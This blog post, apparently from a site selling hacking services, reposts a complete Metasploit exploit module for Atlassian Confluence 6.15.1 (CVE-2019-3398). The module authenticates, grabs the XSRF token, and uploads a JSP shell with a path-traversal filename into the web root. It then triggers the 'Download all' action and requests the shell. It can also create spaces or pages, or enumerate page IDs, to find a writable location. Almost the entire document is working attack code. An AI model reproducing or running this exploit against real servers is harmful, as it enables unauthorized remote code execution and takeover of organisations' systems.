Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86378629

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Atlassian Confluence 6.15.1 - Directory Traversal (Metasploit)
# Google Dork: N/A
# Date: 2019-11-11
# Exploit Author: max7253
# Vendor Homepage: https://www.atlassian.com
# Software Link: https://www.atlassian.com/software/confluence/download-archives
# Version: 6.15.1
# Tested on: Microsoft Windows 7 Enterprise, 6.1.7601 Service Pack 1 Build 7601, Linux 5.0.0-23-generic #24~18.04.1-Ubuntu
# CVE : N/A
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
	super(update_info(info,
	'Name'			=> "Confluence Arbitrary File Write via Path Traversal (CVE-2019-3398)",
	'Description'		=> %q{
	To use this exploit you should specify the following variables:
	USERNAME and PASSWORD - the login/password to log into the web interface of the Atlassian Confluence server.
	ROOTFOLDER - the root directory of the web server. If the root directory is located in C:\confluence\pages\, set this variable to ROOTFOLDER = 'confluence/pages/'.
	Typical ROOTFOLDER locations are:
	Windows: Program Files/Atlassian/Confluence/confluence/pages/
	Linux: opt/atlassian/confluence/confluence/pages/
	Note that the root directory of the web server and the temporary directory of the Atlassian Confluence server on Windows must be on the same drive (C:\ in the example above).
	PAGEID - the pageId URL parameter you see in the browser address bar when you vist the Atlassian Confluence page where you have rights to upload files.
	For example, https://server.net/pages/viewpageattachments.action?pageId=111111111&metadataLink=true.
	If PAGEID is set to 0, the script will try to create a new Page ID. If it fails, it will try to create a new space and create a Page ID there.
	If PAGEID is not specified, the script will walk though the PAGEID_RANGE_START..PAGEID_RANGE_END range.
	The script gets authenticated to the Atlassian Confluence server, retrieves the ATLASSIAN TOKEN from the server response, uploads the shellcode, then imitates the 'Download all' action to place the shellcode to the root directory of the web server.
	Tested on Atlassian v6.15.1. on Linux and Windows.
	Note that on Linux Confluence runs under the 'confluence' account which may not have rights to save files in the root directory of the web server. In this case the exploit will fail. Also, to create a new space and get the list of existing spaces the script makes use of Confluence REST API, which is available starting from Confluence Server 5.5.
	},
	'License'			=> MSF_LICENSE,
	'Author'			=>
	[
		'Maxim Guslyaev'      # Metasploit module
	],
	'References'		=>
	[
		[ 'CVE', '2019-3398' ],
		[ 'URL', 'https://confluence.atlassian.com/doc/confluence-security-advisory-2019-04-17-968660855.html' ],
		[ 'URL', 'https://devcentral.f5.com/s/articles/confluence-arbitrary-file-write-via-path-traversal-cve-2019-3398-34181'],
		[ 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2019-3398']
	],
	'Privileged'		=> false,
	'Platform'		=> %w{ linux win },
	'Targets'			=>
	[
		[ 'Windows', { 'Platform' => 'win',   'Arch' => ARCH_JAVA  }],
		[ 'Linux',   { 'Platform' => 'linux', 'Arch' => ARCH_JAVA  }]
	],
	'DefaultOptions'	=>
	{
		'RPORT' => 8090,
		'SSL' => false
	},
	'DisclosureDate' => 'Nov 9 2019',
	'DefaultTarget'  => 0
	))

	register_options(
	[
		OptString.new('USERNAME', [true, 'The login to log into the web interface of the Atlassian Confluence server', 'test']),        
		OptString.new('PASSWORD', [true, 'The password to log into the web interface of the Atlassian Confluence server', 'test']),
		OptString.new('ROOTFOLDER', [true, 'The root folder of the Atlassian Confluence server', 'Program Files/Atlassian/Confluence/confluence/pages/']),
		#OptString.new('ROOTFOLDER', [true, 'The root folder of the Atlassian Confluence server', 'opt/atlassian/confluence/confluence/pages/']),
		OptString.new('FILENAME', [true, 'The JSP shellcode file name', 'covfefe.jsp']),
		OptString.new('TARGETURI', [true, 'The base to Confluence', '/']),
		OptString.new('NEWSPACE', [false, 'A new space to be created', 'TESTSPACE432545645']),
		OptInt.new('PAGEID', [false, 'A Page ID to be used to upload shellcode', 0]),
		OptInt.new('PAGEID_RANGE_START', [false, 'The first Page ID to be used to enumerate a writable Page ID (used when PAGEID is not specified)', '1']),
		OptInt.new('PAGEID_RANGE_END', [false, 'The last Page ID to be used to enumerate a writable Page ID (used when PAGEID is not specified)', '999999999']),
		
	], self.class)
end

def do_authenticate
	print_status("Sending POST request to the web application (authentication)...")
	res = send_request_cgi({
		'uri'              => normalize_uri(target_uri.path.to_s, '/dologin.action'),
		'method'           => 'POST',
		'vars_post'        => {
		'os_username'    => datastore['USERNAME'],
		'os_password'    => datastore['PASSWORD'],
		'os_destination' => '',
		'login'          => 'Log+In'
					}
			})
	if res.nil?
		print_status("Unable to access the web application!")
		return 0
	end
	@sessid = get_sid(res)
	if @sessid.nil?
		print_status("Unable to retrieve session ID!")
		return 0
	end
	print_status("Getting Session ID from the web application... #{@sessid}")
	
	if res && res.redirect?
		location = res.redirection
		if location.nil?
			print_status("Unable to access the web application when redirected!")
			return 0
		end
		res = send_request_cgi!({
		'uri'              => normalize_uri(target_uri.path.to_s, location.to_s),
		'method'           => 'GET',
		'headers'       => {
		'Cookie'           => @sessid
					}
			}, redirect_depth = 5)
	end

	if res && res.code == 200
		if res.body =~ /re-enter\syour\slogin/ || res.body =~ /Sorry,\syour\susername\sand\/or\spassword\sare\sincorrect/ || res.body =~ /Unauthorized/
			print_status("Authentication failed...")
			return 0
		end

		@xsrf_token = res.get_html_document.at('meta[@id="atlassian-token"]')['content']
		if @xsrf_token.nil? or @xsrf_token.blank?
			print_status("Failed to retrieve XSRF token...")
			return 0
		else
			print_status("Retrieving XSRF token... #{@xsrf_token}")
			return 1
		end
	else
		print_status("Unexpected response from the web application...")
		return 0
	end
end

def do_upload(_pageid)
	print_status("Sending POST request to the web application (shellcode upload)...")
	res = send_request_cgi({
		'uri'			=> normalize_uri(target_uri.path.to_s, '/plugins/drag-and-drop/upload.action'),
		'method'		=> 'POST',
		'vars_get'		=> {
		'pageId'		=> _pageid,
		'filename'		=> '../../../../../../../../../../' + datastore['ROOTFOLDER'] + datastore['FILENAME'],
		'size'			=> payload.encoded.length,
		'mimeType'		=> 'text/plain',
		'spaceKey'		=> 'isis',
		'atl_token'		=> @xsrf_token,
		'name'			=> datastore['FILENAME']
		},
		'data'			=> payload.encoded,
		'headers'		=> {
          	'Connection'		=> 'close',
		'Accept'		=> '*/*',
		'Accept-Encoding'	=> 'identity',
          	'Cookie'		=> @sessid,
		'Content-Length'	=> payload.encoded.length,
		'Content-Type'		=> 'text/plain'
		}
		})
	if res && res.code == 200 && res.body.scan(/actionErrors/).blank?
		print_status("Shellcode uploaded...")
		return 1
	else
		return 0
	end
end

def do_downloadall(_pageid)
	for downloadall_iter in 1..10
		print_status("Sending GET request to the web application (downloadall)...")
		res = send_request_cgi({
			'uri'			=> normalize_uri(target_uri.path.to_s, '/pages/downloadallattachments.action'),
			'method'		=> 'GET',
			'vars_get'		=> {
			'pageId'		=> _pageid
			},
			'headers'		=> {
          		'Cookie'		=> @sessid
			}
			})
		
		print_status("Sending GET request to the web application (shellcode invokation)...")
		res = send_request_cgi({
			'uri'			=> normalize_uri(target_uri.path.to_s, '/pages/' + datastore['FILENAME']),
			'method'		=> 'GET',
			'headers'		=> {
          		'Cookie'		=> @sessid
			}
			}, timeout = 10)

		if res && res.code == 200
			print_status("Shellcode found...")
			return 1
		else
			if downloadall_iter == 10
				print_status("Shellcode not found...")
				return 0
			end
		end
	end
end

def do_getspaces
	print_status("Sending GET request to the web application (getting available spaces)...")
		res = send_request_cgi({
			'uri'			=> normalize_uri(target_uri.path.to_s, '/rest/api/space'),
			'method'		=> 'GET',
			'headers'		=> {
			'User-Agent'		=> 'python-requests/2.20.0',
        		'Cookie'		=> @sessid,
			'Accept'		=> '*/*',
			'Accept-Encoding'	=> 'identity',
			'Content-Type'		=> 'application/json'
			}
			})

		if res && res.code == 200 && res.body =~ /results/
			space_list = res.body.scan(/\"key\":\"(\w+)\"/).flatten
		else
			space_list = Array([])
		end
	return space_list
end

def do_createspace
	print_status("Sending POST request to the web application (creating a space)...")
	res = send_request_cgi({
	'uri'			=> normalize_uri(target_uri.path.to_s, '/rest/api/space'),
	'method'		=> 'POST',
	'data'			=> {
		"key": datastore['NEWSPACE'],
		"name": "Example space",
		"description": {
		"plain": {
		"value": "This is an example space",
		"representation": "plain"
		}
		},
		"metadata": {}
		}.to_json,
	'headers'		=> {
	'User-Agent'		=> 'python-requests/2.20.0',
        'Cookie'		=> @sessid,
	'Accept-Encoding'	=> 'identity',
	'Content-Type'		=> 'application/json'
	}
	})

	if res && res.code == 200 && res.body =~ /\"key\":\"\w+\"/
		print_status("Space created...")
		return res.body.scan(/\"key\":\"(\w+)\"/).flatten[0]
	else
		print_status("Space not created...")
		return 0
	end			
end

def do_createpage(_space)
	print_status("Sending GET request to the web application (creating Page ID), space #{_space}...")
	res = send_request_cgi({
		'uri'			=> normalize_uri(target_uri.path.to_s, '/pages/createpage.action?spaceKey='+_space),
		'method'		=> 'GET',
		'headers'		=> {
        	'Cookie'		=> @sessid
		}
		})
	if res && res.code == 200 && res.body =~ /ajs-draft-id/
		pageid = res.get_html_document.at('meta[@name="ajs-draft-id"]')['content']
		pageid_parsed = /(\d+)/.match(pageid)
		if pageid_parsed.nil?
			print_status("Unexpected Page ID format...")
			return 0
		else
			print_status("Page ID created... #{pageid}")
			datastore['PAGEID'] = pageid
			return 1
		end
	else
		return 0
	end
end

def get_sid(res)
	if res.nil?
		return ''
	end
	res.get_cookies.scan(/(JSESSIONID=\w+);*/).flatten[0] || ''
end


def exploit
	print_status("Getting authenticated to the web application...")
	if do_authenticate != 1
		fail_with(Failure::Unknown, 'Initial access or authentication error!')
	end
	
	unless datastore['PAGEID'].blank?
		if datastore['PAGEID'] == 0
			print_status("Creating Page ID...")
			spaces = do_getspaces
			for sp in spaces
				if do_createpage(sp) == 1
					print_status("Uploading shellcode...")
					if do_upload(datastore['PAGEID']) != 1
						print_status("Failed to upload shellcode...")
						next
					end					
					print_status("Invoking shellcode...")
					if do_downloadall(datastore['PAGEID']) != 1
						print_status("Failed to invoke shellcode...")
						next
					else
						return
					end
				end
			end

			print_status("Trying to create a new space...")
			new_sp = do_createspace

			if new_sp != 0
				if do_createpage(new_sp) == 1
					print_status("Uploading shellcode...")
					if do_upload(datastore['PAGEID']) != 1
						fail_with(Failure::Unknown, 'Error while uploading shellcode!')
					end
					print_status("Invoking shellcode...")
					if do_downloadall(datastore['PAGEID']) != 1
						fail_with(Failure::Unknown, 'Error while invoking shellcode!')				
					end

					return
				else
					fail_with(Failure::Unknown, 'Error while creating page in the newly created space!')
				end
			else
				fail_with(Failure::Unknown, 'Error while creating space!')
			end
		end	
			
		print_status("Uploading shellcode...")
		if do_upload(datastore['PAGEID']) != 1
			fail_with(Failure::Unknown, 'Error while uploading shellcode!')
		end
		print_status("Invoking shellcode...")
		if do_downloadall(datastore['PAGEID']) != 1
			fail_with(Failure::Unknown, 'Error while invoking shellcode!')				
		end
	else
		for id in datastore['PAGEID_RANGE_START']..datastore['PAGEID_RANGE_END']
			print_status("Trying Page Id #{id}")
			print_status("Uploading shellcode...")
			if do_upload(id) == 1
				print_status("Invoking shellcode...")
				if do_downloadall(id) == 1
					break
				end
			end
		end
	end

end

def check
	res = send_request_cgi!({
		'uri'			=> normalize_uri(target_uri.path.to_s, '/login.action?anon=1&logout=1'),
		'method'		=> 'GET',
		}, redirect_depth = 5)

	if res && res.body =~ /Powered\sby/
		ver = res.body.scan(/^.*Powered\sby\s.*(\d{1,}\.\d{1,}\.\d{1,}).*$/).flatten[0]
		print_status("The version of the web application is #{ver}")
		ver_parsed = /(\d+)\.(\d+)\.(\d+)/.match(ver.to_s)
		if ver_parsed.nil?
			print_status("The version of the web application couldn't be parsed")
			return Exploit::CheckCode::Detected
		end
		ver_oct1 = ver_parsed[1].to_i
		ver_oct2 = ver_parsed[2].to_i
		ver_oct3 = ver_parsed[3].to_i
		
		if ver_oct1.between?(2, 6) && ver_oct2.between?(0, 6) && ver_oct3.between?(0, 12) || ver_oct1.between?(6, 6) && ver_oct2.between?(7, 12) && ver_oct3.between?(0, 3) || ver_oct1.between?(6, 6) && ver_oct2.between?(13, 13) && ver_oct3.between?(0, 3) || ver_oct1.between?(6, 6) && ver_oct2.between?(14, 14) && ver_oct3.between?(0, 2) || ver_oct1.between?(6, 6) && ver_oct2.between?(15, 15) && ver_oct3.between?(0, 1)
			return Exploit::CheckCode::Appears
		else
			return Exploit::CheckCode::Safe		
		end

	else
		return Exploit::CheckCode::Unknown
	end
end

end